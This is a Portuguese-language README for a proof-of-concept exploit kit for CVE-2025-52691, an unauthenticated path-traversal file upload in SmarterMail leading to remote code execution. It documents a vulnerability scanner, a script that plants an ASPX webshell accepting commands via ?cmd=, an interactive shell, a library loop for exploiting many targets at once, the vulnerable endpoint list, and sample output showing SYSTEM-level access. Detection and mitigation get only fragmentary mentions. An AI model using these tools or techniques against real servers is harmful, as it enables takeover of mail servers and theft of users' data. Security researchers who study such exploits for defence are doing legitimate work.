
Exploit de prova de conceito para CVE-2025-52691: upload arbitrário de arquivos não autenticado levando a RCE no SmarterMail. Inclui scanner de vulnerabilidades, carregador de webshell ASPX e shell interativo para testes de segurança autorizados.
Prova de Conceito para CVE-2025-52691 - SmarterMail Upload Arbitrário de Arquivos Não Autenticado resultando em RCE
Apenas para testes de segurança autorizados e fins educacionais. Acesso não autorizado é ilegal.
Vulnerabilidade crítica no SmarterMail que permite upload arbitrário de arquivos não autenticado via path traversal, levando à Execução Remota de Código.
Vulnerabilidade: Path traversal em endpoints de upload permite o upload de webshells ASPX para a raiz da web
Impacto: Execução Remota de Código Não Autenticada
Vetor: Rede / Não Autenticado
git clone https://github.com/yourusername/CVE-2025-52691-POC.git
cd CVE-2025-52691-POC
pip install requests urllib3
Escaneia alvos em busca da vulnerabilidade CVE-2025-52691. Salva apenas URLs vulneráveis em um arquivo de saída.
# Alvo único
python check.py https://mail.example.com
# Múltiplos alvos
python check.py -f targets.txt -o results.txt
# Timeout personalizado
python check.py https://mail.example.com -t 30
Saída: Uma URL vulnerável por linha no arquivo results.txt
Faz upload de webshell ASPX e fornece execução de comandos.
# Exploit básico
python pwn.py https://mail.example.com
# Executar comando
python pwn.py https://mail.example.com -c "whoami"
# Shell interativo
python pwn.py https://mail.example.com -i
Módulo de exploração reutilizável para integração em scripts personalizados.
Como Biblioteca:
from exploit import SmarterMailExploit, TargetConfig, ExploitResult
# Uso básico
config = TargetConfig(base_url="https://mail.example.com")
exploit = SmarterMailExploit(config)
if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
print(exploit.execute_command("whoami"))
# Com timeout personalizado
config = TargetConfig(base_url="https://mail.example.com", timeout=60)
exploit = SmarterMailExploit(config)
result = exploit.exploit()
# Executar múltiplos comandos
if result == ExploitResult.SHELL_UPLOADED:
print(exploit.execute_command("whoami"))
print(exploit.execute_command("hostname"))
print(exploit.execute_command("ipconfig"))
Como Script Autônomo:
# Importar e executar em Python
python -c "from exploit import *; e=SmarterMailExploit(TargetConfig('https://mail.example.com')); e.exploit()"
# Criar script personalizado
cat << 'EOF' > my_exploit.py
from exploit import SmarterMailExploit, TargetConfig, ExploitResult
targets = ['https://mail1.example.com', 'https://mail2.example.com']
for target in targets:
config = TargetConfig(base_url=target)
exploit = SmarterMailExploit(config)
if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
print(f"[+] Exploited: {target}")
print(exploit.execute_command("whoami"))
EOF
python my_exploit.py
Endpoints Vulneráveis:
/api/upload
/api/v1/upload
/Interface/Frmx/UploadFile.aspx
/MRS/Upload.ashx
/Services/Upload.ashx
Métodos de Exploração:
../wwwroot/)Webshell: Shell ASPX minimalista que aceita comandos via parâmetro ?cmd=
python check.py <target>python pwn.py <target> -iDetecção:
../)/api/uploadMitigação:
$ python pwn.py https://mail.example.com -c "whoami"
[*] Target: https://mail.example.com
[+] Target is alive
[*] Shell filename: s4a7b3c2.aspx
[*] Attempting to upload webshell...
[+] SUCCESS! Webshell uploaded
[+] Shell URL: https://mail.example.com/s4a7b3c2.aspx
[*] Executing: whoami
[+] Output:
nt authority\system
Sempre obtenha autorização adequada antes de testar.